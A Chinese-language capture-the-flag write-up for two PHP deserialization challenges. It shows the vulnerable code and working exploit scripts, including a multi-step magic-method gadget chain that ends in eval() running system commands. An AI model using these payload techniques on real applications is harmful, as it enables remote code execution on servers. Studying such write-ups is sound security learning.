简单的链子 进入题目看到一段代码: <?php class A { public $cmd; function __destruct() { if (isset($this->cmd)) { system($this->cmd); } } } if (isset($_GET['data'])) { $data = $_GET['data']; @unserialize($data); } else { highlight_file(__FILE__); } 一看是简单的反序列化,下面直接给出脚本: <?php class A { public $cmd = 'cat /f*'; } $obj = new A(); echo urlencode(serialize($obj)); ?>
easyRead <?php Class Read{ public $source; public $is; public function __toString() { return $this->is->run("Read"); } public function __wakeup(){ echo "Hello>>>".$this->source; } } class Help{ public $source; public $str; public function Printf($what){ echo "Hello>>>".$what; echo "<br>"; return $this->str->source; } public function __call($name, $arguments){ $this->Printf($name); } } class Polar { private $var; public function getit($value){ eval($value); } public function __invoke(){ $this->getit($this->var); } } class Doit{ public $is; private $source; public function __construct(){ $this->is = array(); } public function __get($key){ $vul = $this->is; return $vul(); } } if(isset($_GET['polar'])){ @unserialize($_GET['polar']); } else{ highlight_file(__FILE__); } 反序列化触发 Read::__wakeup() 输出 $source(另一个Read对象)触发 Read::__toString() __toString() 调用 $is->run()(实际为Help对象)触发 Help::__call() __call() 调用 Printf() 访问 $str->source(Doit对象)触发 Doit::__get() __get() 执行 $is()(Polar对象)触发 Polar::__invoke() __invoke() 调用 getit() 执行 eval($this->var) exp: <?php // 定义题目中的类 class Read { public $source; public $is; } class Help { public $source; public $str; } class Polar { private $var; public function getit($value){} // 实际利用时执行eval public function __invoke(){} } class Doit { public $is; private $source; public function __construct(){} } // 构造利用链 $polar = new Polar(); // 设置Polar的私有属性$var为要执行的命令(使用反射) $reflection = new ReflectionClass($polar); $property = $reflection->getProperty('var'); $property->setAccessible(true); $property->setValue($polar, "system('env');"); // 修改此处执行任意命令 $doit = new Doit(); $doit->is = $polar; // 触发Doit::__get()时会调用Polar对象 $help = new Help(); $help->str = $doit; // 在Help::Printf()中访问$str->source $read2 = new Read(); $read2->is = $help; // 触发Read::__toString()时调用Help对象 $read1 = new Read(); $read1->source = $read2; // 触发Read::__wakeup()时输出对象 // 生成payload $payload = serialize($read1); echo "Raw payload: \n" . $payload . "\n\n"; echo "URL encoded: \n" . urlencode($payload) . "\n"; ?> flag: